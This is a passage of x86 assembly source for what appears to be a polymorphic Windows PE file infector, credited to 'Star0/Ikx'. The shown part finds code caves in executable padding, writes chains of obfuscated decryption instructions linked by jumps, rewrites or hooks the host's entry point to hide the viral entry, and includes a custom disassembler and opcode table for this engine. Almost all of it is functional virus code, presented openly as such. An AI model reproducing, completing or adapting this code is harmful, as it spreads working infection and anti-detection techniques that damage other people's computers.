call makeaconnectjmp ; place jump to there

push edx
mov ecx,7
mov eax,ebx
sub eax,esi
xor edx,edx
div ecx

mov eax,edx
and eax,11b ; une valse … 3 temps

cmp eax,0
jne nonoprob11

inc eax

nonoprob11:

mov ecx,eax
pop edx

weneedtogetit:

mov dword ptr [esp+savecount],ecx

mov eax,14
call loaddropplace

mov ecx,dword ptr [esp+savecount]

cmp eax,-1
je stopinfection

; au premier temps de la valse

mov eax,esi
add eax,dword ptr [edx+20]
mov eax,dword ptr [eax+ecx*8]

add eax,dword ptr [edi+8]

push edx

push eax

mov eax,esi
add eax,dword ptr [edx+20]
mov eax,dword ptr [eax+ecx*8+4]
add eax,dword ptr [edi+8]

mov ecx,3
xor edx,edx
div ecx

pop eax

mov byte ptr [ebx],081h ; set an instruction
; playing on stack
cmp edx,0
jne gotoneinst1

mov byte ptr [ebx+1],04h
sub dword ptr [esp+4+dispval],eax

gotoneinst1:

cmp edx,1
jne gotoneinst2

mov byte ptr [ebx+1],02Ch ; add
add dword ptr [esp+4+dispval],eax

gotoneinst2:

cmp edx,2
jne gotoneinst3

mov byte ptr [ebx+1],034h ; sub
xor dword ptr [esp+4+dispval],eax

gotoneinst3:

mov byte ptr [ebx+2],24h ; xor
mov dword ptr [ebx+3],eax
add ebx,7

pop edx

call makeaconnectjmp ; then connect a jmp
sub dword ptr [esp+connectval], 7

mov ecx,dword ptr [esp+savecount]

dec ecx

cmp ecx,0
jne weneedtogetit ; x times done ?

mov eax,11
call loaddropplace ; search for a push

cmp eax,-1
je stopinfection

mov dword ptr [esp+doomconstate],ebx

mov eax,dword ptr [esp+dispval]
mov word ptr [ebx],6860h ; pushad push

mov dword ptr [ebx+2],eax
add ebx,6
call makeaconnectjmp ; jmp to

mov ebx,dword ptr [esp+doomconstate]

sub ebx,esi
sub ebx,dword ptr [edx+20]
add ebx,dword ptr [edx+12]

mov dword ptr [edi-10],ebx ; set entrypoint

stopinfection5: ; of this little
; messing code
add esp,24
ret

stopinfection:

setval error, -20
jmp stopinfection5

; blop blop blop - - - - - - - - - - - - - - - - - - - - - - - - - - - -

loaddropplace:

push eax
call loadcave
pop eax

cmp ebx,-1 ; no cave ?
jne returnme

cmp dword ptr [esp+4+upperoffset],0 ; check for init
jne setitright ; upper offset

mov ecx,eax
mov ebx,dword ptr [edx+20]
add ebx,dword ptr [edx+16]
add ebx,esi

mov dword ptr [esp+4+upperoffset],ebx ; ok

setitright:

cmp dword ptr [esp+4+doomconstate],0
je getthatmoo

cmp dword ptr [esp+4+bottomoffset],0 ; no bottom offset?
je setitright0

mov ebx,dword ptr [esp+4+bottomoffset]
add eax,ebx
cmp eax,dword ptr [esp+4+upperoffset]
ja caca1 ; no collision betwenn bot
; and upper offset
mov dword ptr [esp+4+bottomoffset],eax

jmp gotonextone1

setitright0:

mov ebx,dword ptr [esp+4+upperoffset]

caca2:

dec ebx
cmp byte ptr [ebx],0 ; calculate dead space
je caca2

inc ebx

gotonextone:

mov dword ptr [esp+4+bottomoffset],ebx
add dword ptr [esp+4+bottomoffset],eax ; load next bottom
gotonextone1: ; offset
mov dword ptr [esp+4+doomconstate],0
jmp gothootme

getthatmoo:

inc dword ptr [esp+4+doomconstate]
mov ebx,dword ptr [esp+4+upperoffset]
mov ecx,eax
inc ecx

getthatmoo1:

dec ebx
cmp byte ptr [ebx],0
jne caca1

loop getthatmoo1 ; calculate dead space

inc ebx

returnme:

mov dword ptr [esp+4+upperoffset],ebx ; set it

gothootme:

xor eax,eax
ret

caca1:

mov eax,-1
mov ebx,-1 ; errorit
ret

loadcave:

mov ebx,dword ptr [edx+20]
add ebx,esi
mov ecx,dword ptr [edx+16]

getonecave:

cmp dword ptr [ebx],0CCCCCCCCh ; seek for int 3
je googoom ; places

inc ebx

loop getonecave

mov ebx,-1
ret

googoom:

push ecx
push ebx

mov ecx,eax

getitsan:

cmp byte ptr [ebx],0CCh ; watch if exact size
jne goawaycave

inc ebx

loop getitsan

pop ecx

sub ebx,eax ; not found, search after

pop ecx

ret

goawaycave: ; we got it

pop ecx
sub ecx,ebx
neg ecx
add ecx,dword ptr [esp]
add esp,4
jmp getonecave

Offset2RVA:

sub ebx,esi
sub ebx,dword ptr [edx+20]
add ebx,dword ptr [edx+12]

ret

makeaconnectjmp:

push ebx

mov byte ptr [ebx],0E9h

mov eax,ebx
add ebx,5
call Offset2RVA ; connect jumps

cmp ebx,-1
je stopinfection

push ebx

sub ebx,dword ptr [esp+4+4+4+connectval]
neg ebx
mov dword ptr [eax+1],ebx

pop ebx
sub ebx,5
mov dword ptr [esp+4+4+connectval], ebx

pop ebx

ret

hookres:

pushad

sub esp,20

callcount equ 0
lastcall equ 4
fixstart equ 8
fixload equ 12
fixedx equ 16

mov dword ptr [esp+callcount],0 ; fix callcount value
mov dword ptr [esp+lastcall],0 ; fix lastcall value
mov dword ptr [esp+fixstart],esi ; fix fixstart value
mov dword ptr [esp+fixload],edi ; fix fixload value
mov dword ptr [esp+fixedx],edx ; fix fixedx value

;push edx
;push esi

mov eax,dword ptr [edi+128]
call RVA2Offset

mov ecx,eax
and eax,000001111111100000000b
shr eax,6

add eax,dword ptr [esi+ecx+16] ; start of import
add eax,dword ptr [edi+52] ; eax = start of import

mov ecx,dword ptr [edx+16] ; start of code
mov eax,dword ptr [edi+40]

call RVA2Offset
add esi,eax

mov ebp,edx
mov ecx,2048

loopitlong:

push ecx
call disasmit ; disasm instruction
pop ecx

dec ecx

cmp ecx,0
je timetogiveup ; 2048 instruction
; passed ?
cmp eax,-1
je timetogiveup

cmp ebx,iiRET
jne contimetogiveup ; a ret found ?

cmp dword ptr [esp+callcount],1
ja timetogiveup ; too much callcount ?

cmp dword ptr [esp+callcount],0
je loopitlong ;

mov esi,dword ptr [esp+lastcall] ; set esi the call
; originator
mov dword ptr [esp+callcount],0
mov dword ptr [esp+lastcall],0

jmp loopitlong

contimetogiveup:

cmp eax,5
jne loopitlong

cmp ebx,iiJMP
jne checkCALL ; if instruction was
; a jump
push esi

add esi,edx
mov edx,dword ptr [esp+4+fixstart] ; jump there then
add edx,dword ptr [ebp+20]

cmp edx,esi
ja jmpgoaway

add edx,dword ptr [ebp+16]

cmp edx,esi
jb jmpgoaway ; valid jump ?

mov dword ptr [esp],esi

jmpgoaway:

pop esi

checkCALL:

cmp ebx,iiCALL ; was a call ?
jne loopitlong

mov dword ptr [esp+lastcall],esi ; set instruction
inc dword ptr [esp+callcount]

;cmp dword ptr [esp+callcount],1
;jne loopitlong

cmp dword ptr [esp+callcount],1
ja loopitlong

add esi,edx ; not too low call, trace it!

jmp loopitlong

timetogiveup:

mov eax,dword ptr [esp+4]
mov edi,dword ptr [esp+fixload] ; load the last call

cmp eax,0
je skipthisoneP ; noone ? bad news !

mov ebx,dword ptr [eax-4]
xchg ebx,dword ptr [edi-10] ; load the value

mov eax,dword ptr [esp+lastcall] ; make the last call
sub eax,dword ptr [esp+fixstart] ; linking to start of
mov edx,dword ptr [esp+fixedx] ; mini messing routine
add eax,dword ptr [edx+12] ; that is a linker to the
sub eax,dword ptr [edx+20] ; polymorphic entry

sub eax,ebx
neg eax

mov edx,dword ptr [esp+4]
mov dword ptr [edx-4],eax

skipthisoneP:

add esp,20
popad
ret

disasmit:
sub esp,t4sizeof ; just a simple disasm :)

call getnext5
getnext5: pop ebx
lea ebx,[ebx+iitable-getnext5]

mov edi,esp

push esi
push edi
push ebx
call tab@disasm
pop ebx
pop edi
pop esi

cmp dword ptr [esi],0
jne retminusone

mov eax,-1

retminusone:

movzx ecx,byte ptr [edi+t4size]

add esi,ecx

cmp eax,-1
je retanyway

movzx eax,byte ptr [edi+t4argum+t4argtype]
mov ebx,dword ptr [edi+t4insoff]
mov edx,dword ptr [edi+t4argum+t4argvalue]

retanyway:

add esp, t4sizeof
ret

;
; This part of program should translate a binary into computable
; comprehensible structure, see table1
;
; esi = offset to instruction
; edi = offset to the t4 strucute
; ebx = offset to table
; tab-4 structre
;
; 0 - prefixes
t4prefix equ 0
; 1 - w type.word type value
t4word equ 1
; 2 - o type.operand type value
t4oper equ 2
; 3 - r type.register value
t4reg equ 3
; 4 - m type.memory register value
t4mem equ 4
; 5 - s type.segment type value
t4seg equ 5
; 6 - c type.condition type value
t4cond equ 6
; 7 - codec value: 0 = 32 bit 1 = 16 bit
t4codec equ 7
; 8 - offset of instruction
t4offset equ 8
;
; 12 - operand 1 type: 0 = value, 1 = reg, 2 = mem,
; 3 = extended, 4 = destination
t4argum equ 12
t4argsizeof equ 8
t4argum2 equ t4argum+t4argsizeof
t4argtype equ 0
t4argsize equ 1
t4argextreg equ 2
t4argvalsize equ 3
t4argvalue equ 4
;+1 - 13 - affected size
;+2 - 14 - (if) extended value (… la intel: aabbbccc = b+(c*2^a)
;+3 - 15 - value size (1-2-4)
;+4 - 16 - value
;
; 20 - respect the same structure as upper
; 21-22-23-24
;
; Offset designed for communication with other t4 modules
;
; 28 - offset from beginning of the table of the precise instr.
t4taboff equ t4argum + t4argsizeof + t4argsizeof
; 32 - offset from beginning of the table of the instruction
t4insoff equ t4taboff + 4
; 36 - offset from beginning of the table of the operand
t4opoff equ t4insoff +4
; 40 - cleaned instruction
t4clean equ t4opoff + 4
; 44 - instruction size (a byte)
t4size equ t4clean+4
;
t4sizeof equ t4size + 1

tab@disasm:

push ebp
sub esp,16

tab@valcounter equ 8
tab@origoff equ 4
tab@orignow equ 0

mov ebp,ebx

mov byte ptr [edi+t4prefix],0
mov dword ptr [edi+t4taboff],ebp ; set some datas
mov dword ptr [edi+t4offset],esi ; for further purpose

xchg ebp,esi
mov dword ptr [esp+tab@valcounter],0 ; make a counter
; for operands loop
testagainintable:

cmp byte ptr [esi],1
jne tab@skipprefix ; don't analyze
; prefixes operation
mov al,byte ptr [esi+1]

cmp byte ptr [ebp],al ; look if
jne tab@skipprefix0 ; we don't have
; set it yet
mov cl,byte ptr [esp+tab@valcounter] ; watch were
; in table
ror byte ptr [edi+t4prefix],cl

bt dword ptr [edi+t4prefix],0 ; have we set it?
jc tab@skipprefix0

or byte ptr [edi+t4prefix],1 ; no, the set it
rol byte ptr [edi+t4prefix],cl

mov esi,dword ptr [edi+t4taboff]
mov byte ptr [esp+tab@valcounter],-1
sub esi,2 ; we need to

inc ebp ; restart from the
; begining
tab@skipprefix0: ; (to avoid such
; 6666h anti dis)
inc dword ptr [esp+tab@valcounter] ; go again
add esi,2 ; take next entry
jmp testagainintable

tab@skipprefix:

movzx eax,byte ptr [esi] ; load current
mov edx,eax ; instruction
and eax,0F0h ; in table
and edx,00Fh
ror eax,4 ; load size/type

mov byte ptr [esp+tab@valcounter],al ; save size

push esi

cmp eax,4
jne allokay ; check if 4

dec eax ; +4 byte ins
dec eax ; are saved on 2 :)

allokay:

mov dword ptr [edi+t4opoff],esi ; save instruction
; offset
detect1:

cmp edx,0 ; check if we
jne detect2 ; have a zero
; type
mov dword ptr [esp+4+tab@origoff],esi ; (instruction)
mov dword ptr [esp+4+tab@orignow],esi ; set instruction/
mov dword ptr [edi+t4insoff],esi ; argument as detect.

mov ebx,dword ptr [esi+eax+3] ; load argument
add esi,3 ; point to instruc.
call testentry ; load instruction
pop esi

lea esi,[esi+eax+7] ; point to end of ins.

detect2:

cmp edx,1 ; check for an inst
jne detect3 ; w/o operand

mov dword ptr [edi+t4insoff],esi ; then save ins

mov ebx,dword ptr [esp+4+tab@origoff] ; save instr.
mov dword ptr [esp+4+tab@orignow],ebx ; from the sliding(*)
mov ebx,dword ptr [ebx+eax+3] ; load operand
inc esi
call testentry ; check instruction
pop esi

lea esi,[esi+eax+1]

detect3:

cmp edx,2 ; compare a variance
jne detect4 ; with instruct.

mov dword ptr [edi+t4opoff],esi
mov ebx,dword ptr [esi+eax+3]
add esi,3 ; point to instr.

call testentry ; check ins.
pop esi

lea esi,[esi+eax+7] ; go to next instr.

detect4:

cmp edx,3
jne detect5

mov ebx,dword ptr [esp+4+tab@orignow] ; load operand
mov dword ptr [edi+t4opoff],ebx
mov ebx,dword ptr [ebx+eax+3]

inc esi ; point to start
call testentry ; of the table
pop esi

lea esi,[esi+eax+1] ; go to next

detect5:

add dword ptr [esp+tab@orignow],eax
add dword ptr [esp+tab@orignow],7 ; save everything

cmp byte ptr [esi],-1 ; check end of
jne tab@skipprefix ; table

xchg esi,ebp
add esp,16 ; arrange stack
pop ebp ; restore point.

xor eax,eax
dec eax ; return -1
ret ; error code

testentry:

push eax

xor eax,eax ; nullify register buffer
xor ecx,ecx ; nullify counter

mov cl,byte ptr [esp+4+4+4+tab@valcounter]
mov byte ptr [edi+t4size],cl ; get instruction size

cmp cl,4
jne dontdecit

dec ecx ; if it's 4, then it should
mov byte ptr [edi+t4size],cl ; be 3 (there's no > 3 bytes)

dontdecit:

xor edx,edx ;
push ecx

tab@makeloop1:
rol edx, 8 ; load the binary
rol eax, 8 ;
mov dl,0FFh
mov al,byte ptr [esi] ; load next entry
inc esi
loop tab@makeloop1

pop ecx
cmp ecx,3
jne tab@dondonet ; if size was three

mov al,0Fh ; put the last part

tab@dondonet:

mov ecx,dword ptr [ebp]
and ecx,edx

cmp ecx,0Fh
je tab@skipfoundit ; skip analyzing
;
push eax

mov edx,ecx

mov dword ptr [edi+t4oper],0 ; nullify flags
mov dword ptr [edi+t4mem],0

mov eax,011b
call getvalb
mov byte ptr [edi+t4oper],cl ; o type
sub edx,eax

mov eax,01b
call getvalb
mov byte ptr [edi+t4word],cl ; w type
sub edx,eax

mov eax,0111b
call getvalb
mov byte ptr [edi+t4mem],cl ; m type
sub edx,eax

mov eax,0111b
call getvalb
mov byte ptr [edi+t4reg],cl ; r type
sub edx,eax

mov eax,0111b
call getvalb
mov byte ptr [edi+t4seg],cl ; s type
sub edx,eax

mov eax,01111b
call getvalb
mov byte ptr [edi+t4cond],cl ; c type
sub edx,eax

pop ecx

cmp ecx,edx
je tab@wefoundit ; is it okay

tab@skipfoundit:

xor edx,edx
pop eax ; restore eax

ret

getvalb:

push edx
push ebx

and ebx,11111b ; see flags location

shr dword ptr [esp],5 ; load next location in flag
mov cl,bl

cmp bl,0
je tab@nullskip0 ; if zero, dont apply

xchg eax,edx ;

tab@doitagain:

ror edx,1 ; shift bit to big endian
; and shift of the size
cmp dl,0 ; bit length size
jne tab@doitagain

xchg al,ah
ror eax,16 ; pass to big endian
xchg al,ah

ror edx,cl ; go to the pos.
and eax,edx ; nullify it

push eax ; save it

xchg al,ah
ror eax,16
xchg al,ah ; and then come back

pop ecx

doitagainp:

rol ecx,1
rol edx,1 ; go to next

cmp edx,0FFh
ja doitagainp ; watch it

pop ebx
pop edx ; return with eax = value
ret

tab@nullskip0:

pop ebx
pop edx
xor eax,eax ; finish it
mov cl,-1 ; return with -1
ret

tab@wefoundit:

mov dword ptr [edi+t4clean],edx ; save the clean instruction

pop esi
pop esi
pop esi ; restore stack

mov eax,dword ptr [edi+t4taboff]
sub dword ptr [edi+t4taboff],esi ; save the instruction
neg dword ptr [edi+t4taboff]

sub dword ptr [edi+t4insoff],eax ; fix up instruction off
sub dword ptr [edi+t4opoff],eax ; and operation offset

mov esi,dword ptr [esp+tab@orignow] ; load attrib fixed

movzx eax,byte ptr [edi+t4size] ; get instruction size
add ebp,eax ; add to ebp

mov al,byte ptr [esi+1] ;
push esi
lea esi,[edi+t4argum] ; load 1st argument
call getoperand
pop esi

push esi
mov al,byte ptr [esi+2] ; load 2nd argument
lea esi,[edi+t4argum2]
call getoperand
pop esi

sub ebp,dword ptr [edi+t4offset] ; render instruction size
mov eax,ebp ; now
mov byte ptr [edi+t4size],al

add esp,16
pop ebp

ret

getoperand:

mov dword ptr [esi],-1 ;
mov dword ptr [esi+4],-1 ;

cmp al,0
jne thatnotme0 ; check if arg is null

mov byte ptr [esi+t4argtype],-1

ret

thatnotme0:

xor ecx,ecx
mov byte ptr [esi+t4argtype],1 ; set as register

cmp al,AccWord ; pay attention to
ja notAcc ; accumulators

mov dl,0 ; set the size

cmp al,Acc
jne getother

inc dl ; size is may be 8 bit

getother:

call getsize ; load the register size
mov byte ptr [esi+t4argsize],dl ;
mov byte ptr [esi+t4argextreg],0 ;
ret

notAcc:

cmp al,DX0 ; check if we have DX
jne notDX0 ; as ex OUT

mov byte ptr [esi+t4argsize],2
mov byte ptr [esi+t4argextreg],2 ; pseudo construction

ret

notDX0:

cmp al,CL0
jne notCL0 ; check if we have a CL comp.

mov byte ptr [esi+t4argsize],1 ; as exemple
mov byte ptr [esi+t4argextreg],1

ret

notCL0:

cmp al,RegWord ; watch if we need a register
ja notreg

mov dl,byte ptr [edi+t4reg]
mov byte ptr [esi+t4argextreg],dl ; set reg value

metestit:

mov edx,4

cmp al,Reg32 ; watch register size
je fixit

mov edx,2

cmp al,Reg16
je fixit

mov edx,1

cmp al,Reg8
je fixit

xor dl,dl

cmp al,RegWord
jne skipincit

inc dl

skipincit:

call getsize ; if not checked, detect it

fixit:

mov byte ptr [esi+t4argsize],dl ; fix reg size
ret

notreg:

xor ecx,ecx ;

mov byte ptr [esi+t4argtype],0 ; set then we have a value

cmp al,d1
jne notD1 ; watch if the value is not by def 1.

mov byte ptr [esi+t4argsize],1
mov byte ptr [esi+t4argvalsize],1
mov dword ptr [esi+t4argvalue],1
ret

notD1:

cmp al,Imm32 ; check if we have a calssic Imm
ja notImm

Gotimm:

sub al,Imm32-Reg32
call metestit ; self detect size

loadit:

cmp dl,1
jne doitbt ; fill value depending the size

mov al,byte ptr [ebp]
mov byte ptr [esi+t4argvalue],al

doitbt:

cmp dl,2
jne doitbt2

mov ax,word ptr [ebp]
mov word ptr [esi+t4argvalue],ax ; copy word

doitbt2:

cmp dl,4
jne additanyway ; check dword

mov eax,dword ptr [ebp]
mov dword ptr [esi+t4argvalue],eax ; copy it

additanyway:

mov byte ptr [esi+t4argvalsize],dl
add ebp,edx ; add to instruction ptr
ret ; thats all folks

; Meeeeeeeeeeeeeeeeeeemory! ---------------------------------------------

notImm:

Thatsmem1:

mov byte ptr [esi+t4argtype],2 ; fill as it was memoery

cmp eax,MemWord
ja notMem

Thatsmem:

sub eax,MemWord-RegWord ; load memory size
call metestit

mov al,byte ptr [edi+t4mem]
mov byte ptr [esi+t4argextreg],al ;

cmp byte ptr [edi+t4oper],11b
jne dontrefix ; is it a register?

mov byte ptr [esi+t4argtype],1 ; switch type

tadam:

ret

dontrefix:

xor edx,edx

cmp al,100b
jne notextended ; watch if we have
; extended reg
inc byte ptr [esi+t4argtype] ; set it to 3

mov dl,byte ptr [ebp]
mov byte ptr [esi+t4argextreg],dl ;
inc ebp

and dl,111b ; not an extend2

cmp dl,101b
jne notextended

jmp tadam2

notextended:

cmp byte ptr [edi+t4oper],0 ; check operator 0
jne notextended2

cmp al,101b ; not an extend2
jne tadam

bt dword ptr [edi+t4oper],1 ; check if we are
jnc notamam ; switched mode

add byte ptr [esi+t4argsize],20 ; put a warning about
inc edx

notextended2:

cmp byte ptr [edi+t4oper],01b ; check if the
jne tadam2 ; following val is a
; a bit
mov dl,1
jmp loadit

tadam2:

inc ecx
call getsize ; get the size
jmp loadit ; load it

notMem:

cmp eax, MemOffs ; check if we have
jne notMemOfs ; a memofs

notamam:

call getsize
mov byte ptr [esi+t4argsize],dl
jmp tadam2 ; do it!

notMemOfs:

cmp eax,Far0
jne getNear0 ; check if we have
mov edx,6 ; a far dest
jmp loadit ; just fix the size

getNear0:

mov byte ptr [esi+t4argtype],5

cmp eax,Near0 ; check if we have
jne NotShort0 ; Near, load near
; val
mov dl,4
jmp loadit

NotShort0:

mov byte ptr [esi+t4argtype],6

cmp eax,Short0 ; watch if we have
jne NotDisp0 ; a short

mov dl,1
jmp loadit ; load the value

NotDisp0:

mov byte ptr [esi+t4argtype],7 ;

cmp eax,MemFar
ja notfar

mov eax,Mem ; we now have a mem
jmp Thatsmem

notfar:

mov byte ptr [esi+t4argtype],9 ; set arg type 9
; here we begin
cmp eax,CRn ; strange operands
ja notCRn

sub eax,DRn ; watch for CRn/TRn/DRn

add byte ptr [esi+t4argtype],al
mov al,byte ptr [edi+t4seg]
mov byte ptr [esi+t4argextreg],al

ret

notCRn:

mov byte ptr [esi+t4argtype],12 ; then watch if

cmp eax,SegOld ; we have a seg/segold
ja notSegType

mov al,byte ptr [edi+t4seg]
mov byte ptr [esi+t4argextreg],al

ret

notSegType:

inc byte ptr [esi+t4argtype]

cmp eax,Mem64 ; watch for a MEM64
ja notBlahType

mov eax,Mem32
jmp Thatsmem

ret

notBlahType:

cmp eax, MemWIm8 ; watch for 3 operand operation
ja notMemWtype

mov byte ptr [esi+t4argtype],2

push eax
mov eax,MemWord ; load it as a word
call Thatsmem

add byte ptr [esi+t4argtype],15 ; set strange type
pop eax

sub esi,t4argsizeof ; then modify the b4 arg

push word ptr [esi]

mov edx,Imm ; and watch how to mod it.

cmp eax,MemWImm
je notMemRegW8

mov edx,Imm8

notMemRegW8:

mov eax,edx ; then get the edx
call Gotimm ; get the imediate

pop word ptr [esi]

notMemWtype1:

ret

notMemWtype:

cmp eax, RegWIm8
ja notMemWtype1 ; watch if have a RegW/MemW

push eax

mov eax,RegWord
call getoperand ; load the reg

pop eax

mov byte ptr [esi+t4argtype],18 ;
mov byte ptr [esi+t4argvalue],-2 ; then set the type

cmp eax,RegWCl
je notMemWtype1 ; skip loading the value

mov dl,1
jmp loadit


; tadam ------------------------------------

getsize:

cmp ecx,1
jne skipMembit ; well, we don't word analyse

bt dword ptr [edi+t4prefix],1 ; check if we have a dword
jc makeit2

makeit4:

mov edx,4 ; extended word
ret

skipMembit:

cmp dl,1
je skip8bit ; skip the 8 bit

cmp byte ptr [edi+t4word],0 ; check if we have a
jne skip8bit

mov dl,1 ; set 8 bit
ret

skip8bit:

bt dword ptr [edi+t4prefix],0
jnc makeit4 ; check if prefix is 16 bit
; all normal, then set dword
makeit2:

mov edx,2 ; return a word

ret

NULL equ 0

d1 equ 100

Acc equ 2
AccWord equ 3

Reg equ 4
Reg8 equ 5
Reg16 equ 6
Reg32 equ 7

RegWord equ 8

Imm equ 9
Imm8 equ 10
Imm16 equ 11
Imm32 equ 12

Mem equ 13
Mem8 equ 14
Mem16 equ 15
Mem32 equ 16

MemWord equ 17 ; O think so :)

MemOffs equ 18

Far0 equ 19
Short0 equ 20
Near0 equ 21

MemFar equ 22

DX0 equ 24
CL0 equ 25

DRn equ 26
TRn equ 27
CRn equ 28

Seg0 equ 29
SegOld equ 30

Mem64 equ 31

MemWImm equ 32
MemWIm8 equ 33

RegWCl equ 34
RegWIm8 equ 35

ImmNEAR equ Imm16
ImmFAR equ Imm16

pRVb equ 00000001b ; -S
pRV equ 00000010b ; T-
pCS equ 00000100b ; -A
pDS equ 00001000b ; R-
pES equ 00010000b ; -Z
pFS equ 00100000b ; E-
pGS equ 01000000b ; -R
pSS equ 10000000b ; 0-

instruction macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 0+((size/8)*16) ; 0
db operand1,operand2 ; 2-3

dw &binary& ; 5

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db '&name&',-1

ii_&name&_end:
endm

instructionb macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 1+((size/8)*16) ; 0
dw &binary& ; 5

; db '&name&',-1
ii_&name&_end:
endm

variance macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 2+((size/8)*16)
db operand1,operand2 ; 1
dw &binary& ; 4 + 2 = 6

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db -1

endm

varianceb macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 3+((size/8)*16)
dw &binary& ; 4 + 2 = 6

; db -1

endm

instruction8 macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 0+((size/8)*16) ; 0
db operand1,operand2 ; 2-3

db &binary& ; 5

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db '&name&',-1

ii_&name&_end:
endm

instruction8b macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 1+((size/8)*16) ; 0
db &binary& ; 5

; db '&name&',-1
ii_&name&_end:
endm


variance8 macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 2+((size/8)*16)
db operand1,operand2 ; 1
db &binary& ; 4 + 2 = 6

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db -1
endm

variance8b macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 3+((size/8)*16)
db &binary& ; 4 + 2 = 6

; db -1
endm


instruction16 macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 0+((size/8)*16) ; 0
db operand1,operand2 ; 2-3

dw &binary& ; 5

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db '&name&',-1

ii_&name&_end:
endm

instruction16b macro name, operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

iip&name&:
ii&name& equ iip&name& - iitable

db 1+((size/8)*16) ; 0
dw &binary& ; 5

; db '&name&',-1

ii_&name&_end:
endm

variance16 macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 2+((size/8)*16)
db operand1,operand2 ; 1
dw &binary& ; 4 + 2 = 6

dd ((((( ctype * 32 ) + stype ) * 32 + rtype ) * 32 + mtype ) * 32 + wtype ) * 32 + otype

; db -1
endm

variance16b macro operand1, operand2, binary, size, wtype, otype, rtype, mtype, stype, ctype

db 3+((size/8)*16)
dw &binary& ; 4 + 2 = 6

; db -1
endm

prefix macro operand1, binary

db 1
db binary

endm

; 159 different intruction recognized - 371 total entries

iitable:

prefix pRV , 01100110b ; 66h
prefix pRVb , 01100111b ; 67h
prefix pCS , 00101110b
prefix pDS , 00111110b
prefix pES , 00100110b
prefix pFS , 01100100b
prefix pGS , 01101101b
prefix pSS , 00110110b

; Intel opcode include (Crunched version) revision 1 by Star0/Ikx

instruction16 ADD , Reg , Mem , 0000001000000000b , 16, 7, 8, 10, 13, 0, 0
variance16 Mem , Reg , 0000000000000000b , 16, 7, 8, 10, 13, 0, 0
variance8 Acc , Imm , 00000100b , 8, 7, 0, 0, 0, 0, 0
variance16 Mem , Imm8 , 1000001000000000b , 16, 7, 8, 0, 13, 0, 0
variance16 Mem , Imm , 1000000000000000b , 16, 7, 8, 0, 13, 0, 0
instruction16b ADC , Reg , Mem , 0001001000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0001000000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00010100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000010000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000010000b , 16, 7, 8, 0, 13, 0, 0
instruction16b SUB , Reg , Mem , 0010101000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0010100000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00101100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000101000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000101000b , 16, 7, 8, 0, 13, 0, 0
instruction16b AND , Reg , Mem , 0010001000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0010000000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00100100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000100000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000100000b , 16, 7, 8, 0, 13, 0, 0
instruction16b CMP , Reg , Mem , 0011101000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0011100000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00111100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000111000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000111000b , 16, 7, 8, 0, 13, 0, 0
instruction16b XOR , Reg , Mem , 0011001000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0011000000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00110100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000110000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000110000b , 16, 7, 8, 0, 13, 0, 0
instruction16b SBB , Mem , Reg , 0001101000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Reg , Mem , 0001101000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00011100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000011000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm , 1000000000011000b , 16, 7, 8, 0, 13, 0, 0
instruction16b OR , Reg , Mem , 0000101000000000b , 16, 7, 8, 10, 13, 0, 0
variance16b Mem , Reg , 0000100000000000b , 16, 7, 8, 10, 13, 0, 0
variance8b Acc , Imm , 00001100b , 8, 7, 0, 0, 0, 0, 0
variance16b Mem , Imm8 , 1000001000001000b , 16, 7, 8, 0, 13, 0, 0
